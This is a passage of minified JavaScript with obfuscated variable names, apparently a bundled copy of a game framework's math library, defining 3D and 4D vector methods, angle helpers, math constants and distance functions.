_0x1fe329['y'] + _0x3e5640['y'], this['z'] = _0x1fe329['z'] + _0x3e5640['z'], this; }, 'subVectors': function (_0x3886b7, _0x431800) { return this['x'] = _0x3886b7['x'] - _0x431800['x'], this['y'] = _0x3886b7['y'] - _0x431800['y'], this['z'] = _0x3886b7['z'] - _0x431800['z'], this; }, 'crossVectors': function (_0x3f69e0, _0x1bf1a2) { var _0x12aeda = _0x3f69e0['x'], _0x2ea380 = _0x3f69e0['y'], _0x345355 = _0x3f69e0['z'], _0x4be1c5 = _0x1bf1a2['x'], _0x77c59b = _0x1bf1a2['y'], _0x310825 = _0x1bf1a2['z']; return this['x'] = _0x2ea380 * _0x310825 - _0x345355 * _0x77c59b, this['y'] = _0x345355 * _0x4be1c5 - _0x12aeda * _0x310825, this['z'] = _0x12aeda * _0x77c59b - _0x2ea380 * _0x4be1c5, this; }, 'equals': function (_0x2792ed) { return this['x'] === _0x2792ed['x'] && this['y'] === _0x2792ed['y'] && this['z'] === _0x2792ed['z']; }, 'copy': function (_0x5d1361) { return this['x'] = _0x5d1361['x'], this['y'] = _0x5d1361['y'], this['z'] = _0x5d1361['z'] || 0x0, this; }, 'set': function (_0x10dfa4, _0x12f9b0, _0xd3efdf) { return 'object' == typeof _0x10dfa4 ? (this['x'] = _0x10dfa4['x'] || 0x0, this['y'] = _0x10dfa4['y'] || 0x0, this['z'] = _0x10dfa4['z'] || 0x0) : (this['x'] = _0x10dfa4 || 0x0, this['y'] = _0x12f9b0 || 0x0, this['z'] = _0xd3efdf || 0x0), this; }, 'setFromMatrixPosition': function (_0x543053) { return this['fromArray'](_0x543053['val'], 0xc); }, 'setFromMatrixColumn': function (_0x4ba528, _0x13ad11) { return this['fromArray'](_0x4ba528['val'], 0x4 * _0x13ad11); }, 'fromArray': function (_0x427d3c, _0x3792ae) { return void 0x0 === _0x3792ae && (_0x3792ae = 0x0), this['x'] = _0x427d3c[_0x3792ae], this['y'] = _0x427d3c[_0x3792ae + 0x1], this['z'] = _0x427d3c[_0x3792ae + 0x2], this; }, 'add': function (_0x727732) { return this['x'] += _0x727732['x'], this['y'] += _0x727732['y'], this['z'] += _0x727732['z'] || 0x0, this; }, 'addScalar': function (_0x1192af) { return this['x'] += _0x1192af, this['y'] += _0x1192af, this['z'] += _0x1192af, this; }, 'addScale': function (_0xfd7293, _0x5c0f15) { return this['x'] += _0xfd7293['x'] * _0x5c0f15, this['y'] += _0xfd7293['y'] * _0x5c0f15, this['z'] += _0xfd7293['z'] * _0x5c0f15 || 0x0, this; }, 'subtract': function (_0x4a24e6) { return this['x'] -= _0x4a24e6['x'], this['y'] -= _0x4a24e6['y'], this['z'] -= _0x4a24e6['z'] || 0x0, this; }, 'multiply': function (_0x8a244c) { return this['x'] *= _0x8a244c['x'], this['y'] *= _0x8a244c['y'], this['z'] *= _0x8a244c['z'] || 0x1, this; }, 'scale': function (_0x5a875f) { return isFinite(_0x5a875f) ? (this['x'] *= _0x5a875f, this['y'] *= _0x5a875f, this['z'] *= _0x5a875f) : (this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0), this; }, 'divide': function (_0x2ebace) { return this['x'] /= _0x2ebace['x'], this['y'] /= _0x2ebace['y'], this['z'] /= _0x2ebace['z'] || 0x1, this; }, 'negate': function () { return this['x'] = -this['x'], this['y'] = -this['y'], this['z'] = -this['z'], this; }, 'distance': function (_0x1cb228) { var _0x234e9a = _0x1cb228['x'] - this['x'], _0x20dd8a = _0x1cb228['y'] - this['y'], _0x5864bb = _0x1cb228['z'] - this['z'] || 0x0; return Math['sqrt'](_0x234e9a * _0x234e9a + _0x20dd8a * _0x20dd8a + _0x5864bb * _0x5864bb); }, 'distanceSq': function (_0x2da000) { var _0x2e505d = _0x2da000['x'] - this['x'], _0x2f0397 = _0x2da000['y'] - this['y'], _0x25e886 = _0x2da000['z'] - this['z'] || 0x0; return _0x2e505d * _0x2e505d + _0x2f0397 * _0x2f0397 + _0x25e886 * _0x25e886; }, 'length': function () { var _0x3d6e28 = this['x'], _0x1efa94 = this['y'], _0x31c7a7 = this['z']; return Math['sqrt'](_0x3d6e28 * _0x3d6e28 + _0x1efa94 * _0x1efa94 + _0x31c7a7 * _0x31c7a7); }, 'lengthSq': function () { var _0x2771a4 = this['x'], _0x2c7649 = this['y'], _0x33cff7 = this['z']; return _0x2771a4 * _0x2771a4 + _0x2c7649 * _0x2c7649 + _0x33cff7 * _0x33cff7; }, 'normalize': function () { var _0x5cabcf = this['x'], _0x1955af = this['y'], _0x3d8a6b = this['z'], _0x4f3f91 = _0x5cabcf * _0x5cabcf + _0x1955af * _0x1955af + _0x3d8a6b * _0x3d8a6b; return _0x4f3f91 > 0x0 && (_0x4f3f91 = 0x1 / Math['sqrt'](_0x4f3f91), this['x'] = _0x5cabcf * _0x4f3f91, this['y'] = _0x1955af * _0x4f3f91, this['z'] = _0x3d8a6b * _0x4f3f91), this; }, 'dot': function (_0x54919a) { return this['x'] * _0x54919a['x'] + this['y'] * _0x54919a['y'] + this['z'] * _0x54919a['z']; }, 'cross': function (_0x16b4a4) { var _0x7f9c6b = this['x'], _0xb30134 = this['y'], _0x269ac4 = this['z'], _0x5173ef = _0x16b4a4['x'], _0xf3505 = _0x16b4a4['y'], _0x388381 = _0x16b4a4['z']; return this['x'] = _0xb30134 * _0x388381 - _0x269ac4 * _0xf3505, this['y'] = _0x269ac4 * _0x5173ef - _0x7f9c6b * _0x388381, this['z'] = _0x7f9c6b * _0xf3505 - _0xb30134 * _0x5173ef, this; }, 'lerp': function (_0x2e49ea, _0x2d0440) { void 0x0 === _0x2d0440 && (_0x2d0440 = 0x0); var _0x5cb141 = this['x'], _0x584a12 = this['y'], _0x4e1cbd = this['z']; return this['x'] = _0x5cb141 + _0x2d0440 * (_0x2e49ea['x'] - _0x5cb141), this['y'] = _0x584a12 + _0x2d0440 * (_0x2e49ea['y'] - _0x584a12), this['z'] = _0x4e1cbd + _0x2d0440 * (_0x2e49ea['z'] - _0x4e1cbd), this; }, 'applyMatrix3': function (_0x1afd9e) { var _0x41260c = this['x'], _0x14ae1 = this['y'], _0x56b489 = this['z'], _0x38d961 = _0x1afd9e['val']; return this['x'] = _0x38d961[0x0] * _0x41260c + _0x38d961[0x3] * _0x14ae1 + _0x38d961[0x6] * _0x56b489, this['y'] = _0x38d961[0x1] * _0x41260c + _0x38d961[0x4] * _0x14ae1 + _0x38d961[0x7] * _0x56b489, this['z'] = _0x38d961[0x2] * _0x41260c + _0x38d961[0x5] * _0x14ae1 + _0x38d961[0x8] * _0x56b489, this; }, 'applyMatrix4': function (_0x4a4ce1) { var _0x3fece6 = this['x'], _0x2c371c = this['y'], _0x7101b2 = this['z'], _0x3e79f8 = _0x4a4ce1['val'], _0x39a0c3 = 0x1 / (_0x3e79f8[0x3] * _0x3fece6 + _0x3e79f8[0x7] * _0x2c371c + _0x3e79f8[0xb] * _0x7101b2 + _0x3e79f8[0xf]); return this['x'] = (_0x3e79f8[0x0] * _0x3fece6 + _0x3e79f8[0x4] * _0x2c371c + _0x3e79f8[0x8] * _0x7101b2 + _0x3e79f8[0xc]) * _0x39a0c3, this['y'] = (_0x3e79f8[0x1] * _0x3fece6 + _0x3e79f8[0x5] * _0x2c371c + _0x3e79f8[0x9] * _0x7101b2 + _0x3e79f8[0xd]) * _0x39a0c3, this['z'] = (_0x3e79f8[0x2] * _0x3fece6 + _0x3e79f8[0x6] * _0x2c371c + _0x3e79f8[0xa] * _0x7101b2 + _0x3e79f8[0xe]) * _0x39a0c3, this; }, 'transformMat3': function (_0x40a232) { var _0x253fb2 = this['x'], _0x4d6031 = this['y'], _0x15be77 = this['z'], _0x585879 = _0x40a232['val']; return this['x'] = _0x253fb2 * _0x585879[0x0] + _0x4d6031 * _0x585879[0x3] + _0x15be77 * _0x585879[0x6], this['y'] = _0x253fb2 * _0x585879[0x1] + _0x4d6031 * _0x585879[0x4] + _0x15be77 * _0x585879[0x7], this['z'] = _0x253fb2 * _0x585879[0x2] + _0x4d6031 * _0x585879[0x5] + _0x15be77 * _0x585879[0x8], this; }, 'transformMat4': function (_0x40bfdf) { var _0x2cc7dc = this['x'], _0xa6a407 = this['y'], _0x104e9d = this['z'], _0x4647c6 = _0x40bfdf['val']; return this['x'] = _0x4647c6[0x0] * _0x2cc7dc + _0x4647c6[0x4] * _0xa6a407 + _0x4647c6[0x8] * _0x104e9d + _0x4647c6[0xc], this['y'] = _0x4647c6[0x1] * _0x2cc7dc + _0x4647c6[0x5] * _0xa6a407 + _0x4647c6[0x9] * _0x104e9d + _0x4647c6[0xd], this['z'] = _0x4647c6[0x2] * _0x2cc7dc + _0x4647c6[0x6] * _0xa6a407 + _0x4647c6[0xa] * _0x104e9d + _0x4647c6[0xe], this; }, 'transformCoordinates': function (_0x5c750e) { var _0x9fb30c = this['x'], _0x4461fb = this['y'], _0x101a7d = this['z'], _0x4c1932 = _0x5c750e['val'], _0x106ada = _0x9fb30c * _0x4c1932[0x0] + _0x4461fb * _0x4c1932[0x4] + _0x101a7d * _0x4c1932[0x8] + _0x4c1932[0xc], _0x3e6dc1 = _0x9fb30c * _0x4c1932[0x1] + _0x4461fb * _0x4c1932[0x5] + _0x101a7d * _0x4c1932[0x9] + _0x4c1932[0xd], _0x338e8b = _0x9fb30c * _0x4c1932[0x2] + _0x4461fb * _0x4c1932[0x6] + _0x101a7d * _0x4c1932[0xa] + _0x4c1932[0xe], _0x365fb5 = _0x9fb30c * _0x4c1932[0x3] + _0x4461fb * _0x4c1932[0x7] + _0x101a7d * _0x4c1932[0xb] + _0x4c1932[0xf]; return this['x'] = _0x106ada / _0x365fb5, this['y'] = _0x3e6dc1 / _0x365fb5, this['z'] = _0x338e8b / _0x365fb5, this; }, 'transformQuat': function (_0x3e8035) { var _0x35b866 = this['x'], _0x3dfbac = this['y'], _0x128a7c = this['z'], _0x265d8c = _0x3e8035['x'], _0x346e15 = _0x3e8035['y'], _0x2cecf0 = _0x3e8035['z'], _0x4b4e95 = _0x3e8035['w'], _0x336b86 = _0x4b4e95 * _0x35b866 + _0x346e15 * _0x128a7c - _0x2cecf0 * _0x3dfbac, _0x13b616 = _0x4b4e95 * _0x3dfbac + _0x2cecf0 * _0x35b866 - _0x265d8c * _0x128a7c, _0x17ec04 = _0x4b4e95 * _0x128a7c + _0x265d8c * _0x3dfbac - _0x346e15 * _0x35b866, _0x1636ff = -_0x265d8c * _0x35b866 - _0x346e15 * _0x3dfbac - _0x2cecf0 * _0x128a7c; return this['x'] = _0x336b86 * _0x4b4e95 + _0x1636ff * -_0x265d8c + _0x13b616 * -_0x2cecf0 - _0x17ec04 * -_0x346e15, this['y'] = _0x13b616 * _0x4b4e95 + _0x1636ff * -_0x346e15 + _0x17ec04 * -_0x265d8c - _0x336b86 * -_0x2cecf0, this['z'] = _0x17ec04 * _0x4b4e95 + _0x1636ff * -_0x2cecf0 + _0x336b86 * -_0x346e15 - _0x13b616 * -_0x265d8c, this; }, 'project': function (_0x3c8187) { var _0x3773fb = this['x'], _0x44c761 = this['y'], _0x4991a2 = this['z'], _0x598809 = _0x3c8187['val'], _0x4b6845 = _0x598809[0x0], _0x145a19 = _0x598809[0x1], _0x4e052f = _0x598809[0x2], _0x397828 = _0x598809[0x3], _0x3c0a61 = _0x598809[0x4], _0x4e9e30 = _0x598809[0x5], _0x1f8342 = _0x598809[0x6], _0x14fdae = _0x598809[0x7], _0xdba562 = _0x598809[0x8], _0xa641bd = _0x598809[0x9], _0x28f68c = _0x598809[0xa], _0x241a00 = _0x598809[0xb], _0x31c28e = _0x598809[0xc], _0x2d35fe = _0x598809[0xd], _0x389571 = _0x598809[0xe], _0x273cdd = 0x1 / (_0x3773fb * _0x397828 + _0x44c761 * _0x14fdae + _0x4991a2 * _0x241a00 + _0x598809[0xf]); return this['x'] = (_0x3773fb * _0x4b6845 + _0x44c761 * _0x3c0a61 + _0x4991a2 * _0xdba562 + _0x31c28e) * _0x273cdd, this['y'] = (_0x3773fb * _0x145a19 + _0x44c761 * _0x4e9e30 + _0x4991a2 * _0xa641bd + _0x2d35fe) * _0x273cdd, this['z'] = (_0x3773fb * _0x4e052f + _0x44c761 * _0x1f8342 + _0x4991a2 * _0x28f68c + _0x389571) * _0x273cdd, this; }, 'projectViewMatrix': function (_0x3d3840, _0x54dd27) { return this['applyMatrix4'](_0x3d3840)['applyMatrix4'](_0x54dd27); }, 'unprojectViewMatrix': function (_0x39dce3, _0x22768b) { return this['applyMatrix4'](_0x39dce3)['applyMatrix4'](_0x22768b); }, 'unproject': function (_0x19f6a5, _0x158847) { var _0x44c477 = _0x19f6a5['x'], _0x203b07 = _0x19f6a5['y'], _0x2d590b = _0x19f6a5['z'], _0x2aa933 = _0x19f6a5['w'], _0x425f62 = this['x'] - _0x44c477, _0x2887c1 = _0x2aa933 - this['y'] - 0x1 - _0x203b07, _0x4c53e9 = this['z']; return this['x'] = 0x2 * _0x425f62 / _0x2d590b - 0x1, this['y'] = 0x2 * _0x2887c1 / _0x2aa933 - 0x1, this['z'] = 0x2 * _0x4c53e9 - 0x1, this['project'](_0x158847); }, 'reset': function () { return this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, this; } }); _0x411bc8['ZERO'] = new _0x411bc8(), _0x411bc8['RIGHT'] = new _0x411bc8(0x1, 0x0, 0x0), _0x411bc8['LEFT'] = new _0x411bc8(-0x1, 0x0, 0x0), _0x411bc8['UP'] = new _0x411bc8(0x0, -0x1, 0x0), _0x411bc8['DOWN'] = new _0x411bc8(0x0, 0x1, 0x0), _0x411bc8['FORWARD'] = new _0x411bc8(0x0, 0x0, 0x1), _0x411bc8['BACK'] = new _0x411bc8(0x0, 0x0, -0x1), _0x411bc8['ONE'] = new _0x411bc8(0x1, 0x1, 0x1), _0x21e973['exports'] = _0x411bc8; }, 0xefb9: (_0x47b94a, _0x42733c, _0x595447) => { var _0x2d3f25 = new (_0x595447(0x145db))({ 'initialize': function (_0x168748, _0x34774e, _0x31ec80, _0x1b2ba1) { this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, this['w'] = 0x0, 'object' == typeof _0x168748 ? (this['x'] = _0x168748['x'] || 0x0, this['y'] = _0x168748['y'] || 0x0, this['z'] = _0x168748['z'] || 0x0, this['w'] = _0x168748['w'] || 0x0) : (this['x'] = _0x168748 || 0x0, this['y'] = _0x34774e || 0x0, this['z'] = _0x31ec80 || 0x0, this['w'] = _0x1b2ba1 || 0x0); }, 'clone': function () { return new _0x2d3f25(this['x'], this['y'], this['z'], this['w']); }, 'copy': function (_0x526f37) { return this['x'] = _0x526f37['x'], this['y'] = _0x526f37['y'], this['z'] = _0x526f37['z'] || 0x0, this['w'] = _0x526f37['w'] || 0x0, this; }, 'equals': function (_0x3b2b18) { return this['x'] === _0x3b2b18['x'] && this['y'] === _0x3b2b18['y'] && this['z'] === _0x3b2b18['z'] && this['w'] === _0x3b2b18['w']; }, 'set': function (_0x5293c0, _0x3f0de4, _0x3fe162, _0x3e886f) { return 'object' == typeof _0x5293c0 ? (this['x'] = _0x5293c0['x'] || 0x0, this['y'] = _0x5293c0['y'] || 0x0, this['z'] = _0x5293c0['z'] || 0x0, this['w'] = _0x5293c0['w'] || 0x0) : (this['x'] = _0x5293c0 || 0x0, this['y'] = _0x3f0de4 || 0x0, this['z'] = _0x3fe162 || 0x0, this['w'] = _0x3e886f || 0x0), this; }, 'add': function (_0x5e73c0) { return this['x'] += _0x5e73c0['x'], this['y'] += _0x5e73c0['y'], this['z'] += _0x5e73c0['z'] || 0x0, this['w'] += _0x5e73c0['w'] || 0x0, this; }, 'subtract': function (_0x3f06bd) { return this['x'] -= _0x3f06bd['x'], this['y'] -= _0x3f06bd['y'], this['z'] -= _0x3f06bd['z'] || 0x0, this['w'] -= _0x3f06bd['w'] || 0x0, this; }, 'scale': function (_0x576b6a) { return this['x'] *= _0x576b6a, this['y'] *= _0x576b6a, this['z'] *= _0x576b6a, this['w'] *= _0x576b6a, this; }, 'length': function () { var _0x465b4b = this['x'], _0x451cb3 = this['y'], _0x27853c = this['z'], _0xfbeac1 = this['w']; return Math['sqrt'](_0x465b4b * _0x465b4b + _0x451cb3 * _0x451cb3 + _0x27853c * _0x27853c + _0xfbeac1 * _0xfbeac1); }, 'lengthSq': function () { var _0x4e5539 = this['x'], _0x48436b = this['y'], _0x177d3e = this['z'], _0xa02177 = this['w']; return _0x4e5539 * _0x4e5539 + _0x48436b * _0x48436b + _0x177d3e * _0x177d3e + _0xa02177 * _0xa02177; }, 'normalize': function () { var _0x67d34c = this['x'], _0x4377fc = this['y'], _0xe42b50 = this['z'], _0x1613eb = this['w'], _0x135f7a = _0x67d34c * _0x67d34c + _0x4377fc * _0x4377fc + _0xe42b50 * _0xe42b50 + _0x1613eb * _0x1613eb; return _0x135f7a > 0x0 && (_0x135f7a = 0x1 / Math['sqrt'](_0x135f7a), this['x'] = _0x67d34c * _0x135f7a, this['y'] = _0x4377fc * _0x135f7a, this['z'] = _0xe42b50 * _0x135f7a, this['w'] = _0x1613eb * _0x135f7a), this; }, 'dot': function (_0x5e66a8) { return this['x'] * _0x5e66a8['x'] + this['y'] * _0x5e66a8['y'] + this['z'] * _0x5e66a8['z'] + this['w'] * _0x5e66a8['w']; }, 'lerp': function (_0x96f97b, _0x5b18b6) { void 0x0 === _0x5b18b6 && (_0x5b18b6 = 0x0); var _0x23865c = this['x'], _0x4f06ad = this['y'], _0x29bdfe = this['z'], _0x230526 = this['w']; return this['x'] = _0x23865c + _0x5b18b6 * (_0x96f97b['x'] - _0x23865c), this['y'] = _0x4f06ad + _0x5b18b6 * (_0x96f97b['y'] - _0x4f06ad), this['z'] = _0x29bdfe + _0x5b18b6 * (_0x96f97b['z'] - _0x29bdfe), this['w'] = _0x230526 + _0x5b18b6 * (_0x96f97b['w'] - _0x230526), this; }, 'multiply': function (_0x14d92f) { return this['x'] *= _0x14d92f['x'], this['y'] *= _0x14d92f['y'], this['z'] *= _0x14d92f['z'] || 0x1, this['w'] *= _0x14d92f['w'] || 0x1, this; }, 'divide': function (_0x557732) { return this['x'] /= _0x557732['x'], this['y'] /= _0x557732['y'], this['z'] /= _0x557732['z'] || 0x1, this['w'] /= _0x557732['w'] || 0x1, this; }, 'distance': function (_0x29e2ba) { var _0x24e2c1 = _0x29e2ba['x'] - this['x'], _0x4921d2 = _0x29e2ba['y'] - this['y'], _0x3b255e = _0x29e2ba['z'] - this['z'] || 0x0, _0x53d646 = _0x29e2ba['w'] - this['w'] || 0x0; return Math['sqrt'](_0x24e2c1 * _0x24e2c1 + _0x4921d2 * _0x4921d2 + _0x3b255e * _0x3b255e + _0x53d646 * _0x53d646); }, 'distanceSq': function (_0xae9911) { var _0x13302b = _0xae9911['x'] - this['x'], _0x545360 = _0xae9911['y'] - this['y'], _0x4df262 = _0xae9911['z'] - this['z'] || 0x0, _0x1ca56d = _0xae9911['w'] - this['w'] || 0x0; return _0x13302b * _0x13302b + _0x545360 * _0x545360 + _0x4df262 * _0x4df262 + _0x1ca56d * _0x1ca56d; }, 'negate': function () { return this['x'] = -this['x'], this['y'] = -this['y'], this['z'] = -this['z'], this['w'] = -this['w'], this; }, 'transformMat4': function (_0x44d635) { var _0x554050 = this['x'], _0x20b41d = this['y'], _0x38971f = this['z'], _0x5930e8 = this['w'], _0x16813f = _0x44d635['val']; return this['x'] = _0x16813f[0x0] * _0x554050 + _0x16813f[0x4] * _0x20b41d + _0x16813f[0x8] * _0x38971f + _0x16813f[0xc] * _0x5930e8, this['y'] = _0x16813f[0x1] * _0x554050 + _0x16813f[0x5] * _0x20b41d + _0x16813f[0x9] * _0x38971f + _0x16813f[0xd] * _0x5930e8, this['z'] = _0x16813f[0x2] * _0x554050 + _0x16813f[0x6] * _0x20b41d + _0x16813f[0xa] * _0x38971f + _0x16813f[0xe] * _0x5930e8, this['w'] = _0x16813f[0x3] * _0x554050 + _0x16813f[0x7] * _0x20b41d + _0x16813f[0xb] * _0x38971f + _0x16813f[0xf] * _0x5930e8, this; }, 'transformQuat': function (_0x82cb39) { var _0x57d42f = this['x'], _0x436c3c = this['y'], _0x232928 = this['z'], _0x4a97b1 = _0x82cb39['x'], _0x169c7e = _0x82cb39['y'], _0x3d8cf0 = _0x82cb39['z'], _0x3a2de3 = _0x82cb39['w'], _0x4b4b0c = _0x3a2de3 * _0x57d42f + _0x169c7e * _0x232928 - _0x3d8cf0 * _0x436c3c, _0x1a91e0 = _0x3a2de3 * _0x436c3c + _0x3d8cf0 * _0x57d42f - _0x4a97b1 * _0x232928, _0x1961d6 = _0x3a2de3 * _0x232928 + _0x4a97b1 * _0x436c3c - _0x169c7e * _0x57d42f, _0x1d6a0d = -_0x4a97b1 * _0x57d42f - _0x169c7e * _0x436c3c - _0x3d8cf0 * _0x232928; return this['x'] = _0x4b4b0c * _0x3a2de3 + _0x1d6a0d * -_0x4a97b1 + _0x1a91e0 * -_0x3d8cf0 - _0x1961d6 * -_0x169c7e, this['y'] = _0x1a91e0 * _0x3a2de3 + _0x1d6a0d * -_0x169c7e + _0x1961d6 * -_0x4a97b1 - _0x4b4b0c * -_0x3d8cf0, this['z'] = _0x1961d6 * _0x3a2de3 + _0x1d6a0d * -_0x3d8cf0 + _0x4b4b0c * -_0x169c7e - _0x1a91e0 * -_0x4a97b1, this; }, 'reset': function () { return this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, this['w'] = 0x0, this; } }); _0x2d3f25['prototype']['sub'] = _0x2d3f25['prototype']['subtract'], _0x2d3f25['prototype']['mul'] = _0x2d3f25['prototype']['multiply'], _0x2d3f25['prototype']['div'] = _0x2d3f25['prototype']['divide'], _0x2d3f25['prototype']['dist'] = _0x2d3f25['prototype']['distance'], _0x2d3f25['prototype']['distSq'] = _0x2d3f25['prototype']['distanceSq'], _0x2d3f25['prototype']['len'] = _0x2d3f25['prototype']['length'], _0x2d3f25['prototype']['lenSq'] = _0x2d3f25['prototype']['lengthSq'], _0x47b94a['exports'] = _0x2d3f25; }, 0xec01: _0x45f596 => { _0x45f596['exports'] = function (_0xac89e3, _0x635ce6, _0x398a21) { return Math['abs'](_0xac89e3 - _0x635ce6) <= _0x398a21; }; }, 0x3e7a: _0x5b591c => { _0x5b591c['exports'] = function (_0x25542e, _0x318265, _0x37c463) { var _0x26be04 = _0x37c463 - _0x318265; return _0x318265 + ((_0x25542e - _0x318265) % _0x26be04 + _0x26be04) % _0x26be04; }; }, 0x7940: _0x22db3e => { _0x22db3e['exports'] = function (_0xb77e29, _0x1fe281, _0x31e3ed, _0x5ebc1f) { return Math['atan2'](_0x5ebc1f - _0x1fe281, _0x31e3ed - _0xb77e29); }; }, 0xd8c7: _0x1b2080 => { _0x1b2080['exports'] = function (_0x4f1524, _0x123e81) { return Math['atan2'](_0x123e81['y'] - _0x4f1524['y'], _0x123e81['x'] - _0x4f1524['x']); }; }, 0x80: _0x25299b => { _0x25299b['exports'] = function (_0x529598, _0x294411) { return Math['atan2'](_0x294411['x'] - _0x529598['x'], _0x294411['y'] - _0x529598['y']); }; }, 0xa139: _0x5397f4 => { _0x5397f4['exports'] = function (_0xfad467, _0x24404e, _0xb21a3a, _0x30e243) { return Math['atan2'](_0xb21a3a - _0xfad467, _0x30e243 - _0x24404e); }; }, 0x598: (_0x567347, _0x3b3384, _0x2d8174) => { var _0x1158b8 = _0x2d8174(0x8e1f); _0x567347['exports'] = function (_0x7308a8) { return _0x7308a8 > Math['PI'] && (_0x7308a8 -= _0x1158b8['PI2']), Math['abs'](((_0x7308a8 + _0x1158b8['TAU']) % _0x1158b8['PI2'] - _0x1158b8['PI2']) % _0x1158b8['PI2']); }; }, 0x3077: _0x2e8a32 => { _0x2e8a32['exports'] = function (_0x2d46b6) { return (_0x2d46b6 %= 0x2 * Math['PI']) >= 0x0 ? _0x2d46b6 : _0x2d46b6 + 0x2 * Math['PI']; }; }, 0xd2e9: (_0x3c5d30, _0x363072, _0x3263ed) => { var _0x34a9fd = _0x3263ed(0x18490); _0x3c5d30['exports'] = function () { return _0x34a9fd(-Math['PI'], Math['PI']); }; }, 0x15224: (_0x49aaa5, _0x10bc7d, _0x38dac7) => { var _0x5ca7a5 = _0x38dac7(0x18490); _0x49aaa5['exports'] = function () { return _0x5ca7a5(-0xb4, 0xb4); }; }, 0x1602a: (_0x165329, _0x5656dd, _0x136bba) => { var _0x492aa7 = _0x136bba(0x3077); _0x165329['exports'] = function (_0x7e6bae) { return _0x492aa7(_0x7e6bae + Math['PI']); }; }, 0xbe60: (_0x5e0232, _0xac49ea, _0x3a7b7d) => { var _0x351a7b = _0x3a7b7d(0x8e1f); _0x5e0232['exports'] = function (_0x36ae04, _0x34f808, _0x2d0d33) { return void 0x0 === _0x2d0d33 && (_0x2d0d33 = 0.05), _0x36ae04 === _0x34f808 || (Math['abs'](_0x34f808 - _0x36ae04) <= _0x2d0d33 || Math['abs'](_0x34f808 - _0x36ae04) >= _0x351a7b['PI2'] - _0x2d0d33 ? _0x36ae04 = _0x34f808 : (Math['abs'](_0x34f808 - _0x36ae04) > Math['PI'] && (_0x34f808 < _0x36ae04 ? _0x34f808 += _0x351a7b['PI2'] : _0x34f808 -= _0x351a7b['PI2']), _0x34f808 > _0x36ae04 ? _0x36ae04 += _0x2d0d33 : _0x34f808 < _0x36ae04 && (_0x36ae04 -= _0x2d0d33))), _0x36ae04; }; }, 0xeff6: _0x25e553 => { _0x25e553['exports'] = function (_0xd4b6a1, _0x589ddf) { var _0x1bed02 = _0x589ddf - _0xd4b6a1; return 0x0 === _0x1bed02 ? 0x0 : _0x1bed02 - 0x168 * Math['floor']((_0x1bed02 - -0xb4) / 0x168); }; }, 0x1521a: (_0xbb9380, _0x4a79e5, _0x4606c4) => { var _0x198bbd = _0x4606c4(0x3e7a); _0xbb9380['exports'] = function (_0x18a784) { return _0x198bbd(_0x18a784, -Math['PI'], Math['PI']); }; }, 0x78ea: (_0x39a0bf, _0x265c95, _0x9a1b72) => { var _0x9667ab = _0x9a1b72(0x3e7a); _0x39a0bf['exports'] = function (_0x1ec87d) { return _0x9667ab(_0x1ec87d, -0xb4, 0xb4); }; }, 0x63f4: (_0x508710, _0x139efe, _0x5cbf00) => { _0x508710['exports'] = { 'Between': _0x5cbf00(0x7940), 'BetweenPoints': _0x5cbf00(0xd8c7), 'BetweenPointsY': _0x5cbf00(0x80), 'BetweenY': _0x5cbf00(0xa139), 'CounterClockwise': _0x5cbf00(0x598), 'Normalize': _0x5cbf00(0x3077), 'Random': _0x5cbf00(0xd2e9), 'RandomDegrees': _0x5cbf00(0x15224), 'Reverse': _0x5cbf00(0x1602a), 'RotateTo': _0x5cbf00(0xbe60), 'ShortestBetween': _0x5cbf00(0xeff6), 'Wrap': _0x5cbf00(0x1521a), 'WrapDegrees': _0x5cbf00(0x78ea) }; }, 0x8e1f: _0x526a11 => { var _0x50aea3 = { 'PI2': 0x2 * Math['PI'], 'TAU': 0.5 * Math['PI'], 'EPSILON': 0.000001, 'DEG_TO_RAD': Math['PI'] / 0xb4, 'RAD_TO_DEG': 0xb4 / Math['PI'], 'RND': null, 'MIN_SAFE_INTEGER': Number['MIN_SAFE_INTEGER'] || -0x1fffffffffffff, 'MAX_SAFE_INTEGER': Number['MAX_SAFE_INTEGER'] || 0x1fffffffffffff }; _0x526a11['exports'] = _0x50aea3; }, 0x4f73: _0x141a2a => { _0x141a2a['exports'] = function (_0x40093c, _0x2f40d4, _0x1596d, _0x529331) { var _0x5550d6 = _0x40093c - _0x1596d, _0x1c24b9 = _0x2f40d4 - _0x529331; return Math['sqrt'](_0x5550d6 * _0x5550d6 + _0x1c24b9 * _0x1c24b9); }; }, 0xce50: _0x1a0890 => { _0x1a0890['exports'] = function (_0x10003e, _0x50a804) { var _0x3ddcdc = _0x10003e['x'] - _0x50a804['x'], _0xe57610 = _0x10003e['y'] - _0x50a804['y']; return Math['sqrt'](_0x3ddcdc * _0x3ddcdc + _0xe57610 * _0xe57610); }; }, 0xfc2f: _0x1ad025 => { _0x1ad025['exports'] = function (_0x1c2a26, _0x5d32c7) { var _0x187d6d = _0x1c2a26['x'] - _0x5d32c7['x'], _0x4aa4be = _0x1c2a26['y'] - _0x5d32c7['y']; return _0x187d6d * _0x187d6d + _0x4aa4be * _0x4aa4be; }; }, 0x141a4: _0x359f5a => { _0x359f5a['exports'] = function (_0x5ccce5, _0x27b9d3, _0x1bb4d6, _0xb287ee) { return Math['max'](Math['abs'](_0x5ccce5 - _0x1bb4d6), Math['abs'](_0x27b9d3 - _0xb287ee)); }; }, 0x3836: _0x516cea => { _0x516cea['exports'] = function (_0x37d3ac, _0x23c005, _0x423234, _0x18a3f3, _0x3dde40) { return void 0x0 === _0x3dde40 && (_0x3dde40 = 0x2), Math['sqrt'](Math['pow'](_0x423234 - _0x37d3ac, _0x3dde40) + Math['pow'](_0x18a3f3 - _0x23c005, _0x3dde40)); }; }, 0x8c3: _0x20b6ee => { _0x20b6ee['exports'] = function (_0x5383f3, _0x5bcb2c, _0x429dac, _0xae730a) { return Math['abs'](_0x5383f3 - _0x429dac) + Math['abs'](_0x5bcb2c - _0xae730a); }; }, 0x15eae: _0x326423 => { _0x326423['exports'] = function (_0x1eb090, _0x4cec99, _0x3ccf4b, _0x5afa65) { var _0x582b7b = _0x1eb090 - _0x3ccf4b, _0x47f40a = _0x4cec99 - _0x5afa65; return _0x582b7b * _0x582b7b + _0x47f40a * _0x47f40a; }; }, 0xc732: (_0xf3f516, _0xbf3df0, _0x1cf376) => { _0xf3f516['exports'] = { 'Between': _0x1cf376(0x4f73), 'BetweenPoints': _0x1cf376(0xce50), 'BetweenPointsSquared': _0x1cf376(0xfc2f), 'Chebyshev': _0x1cf376(0x141a4), 'Power': 